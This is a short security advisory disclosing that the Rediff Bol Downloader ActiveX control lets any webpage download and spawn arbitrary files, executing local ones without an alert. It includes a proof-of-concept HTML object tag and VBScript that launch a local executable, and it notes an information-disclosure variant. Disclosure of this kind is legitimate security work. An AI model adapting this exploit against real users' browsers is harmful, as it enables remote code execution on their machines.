rediffbol.txt

`Rediff Bol Downloader Allows Downloading and Spawning Arbitary Files   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Affected Program : Rediff Bol Download ActiveX  
ActiveX (OCX) Control that downloads the Rediff Bol Messenger  
setup and spawns it.  
  
  
Related URL : http://messenger.rediff.com/newbol/   
  
  
Discovered by : Gregory R. Panakkal   
  
  
Vulnerability Description :   
  
Rediff Bol Downloader ActiveX control allows any webpage  
to download and spawn file. These file can be of any type.  
No filtering is done.  
  
IE Displays an alert, if the code points to a executable file on the  
internet. But execution of local files displays no alert.  
  
  
Tested On :  
* IE 7.0.5730.11 (WinXP SP2)  
* IE 6.0.2900.2180 (WinXP SP2)  
  
  
Proof Of Concept:   
  
[OBJECT id="rboldwn" WIDTH=445 HEIGHT=40  
classid="clsid:BADA82CB-BF48-4D76-9611-78E2C6F49F03"  
codebase="http://imdownloads.rediff.com/newbol/Bol.CAB"]  
[/OBJECT]  
  
[script language="vbscript"]  
rboldwn.url = "file://C:/WINNT/Notepad.exe"  
rboldwn.fontsize = 14  
rboldwn.barcolor = EE4E00  
rboldwn.start = "start"  
[/script]  
  
  
A variation of this, allows downloading a HTML File that can  
disclose the path to the local temporary internet files folder.  
It can disclose the Logged in User's username. A typical path to  
Temporary Internet Files folder is..  
C:\Documents and Settings\<username>\Local Settings\Temporary Internet  
Files  
  
  
Online Info + Demo:   
http://www.infogreg.com/security/misc/rediff-bol-downloader-allows-downloading-and-spawning-arbitary-files.html   
  
  
rgds,   
Gregory R. Panakkal   
http://www.infogreg.com/   
  
--   
gregory_panakkal  
[email protected]  
  
--   
http://www.fastmail.fm - Choose from over 50 domains or use your own  
  
`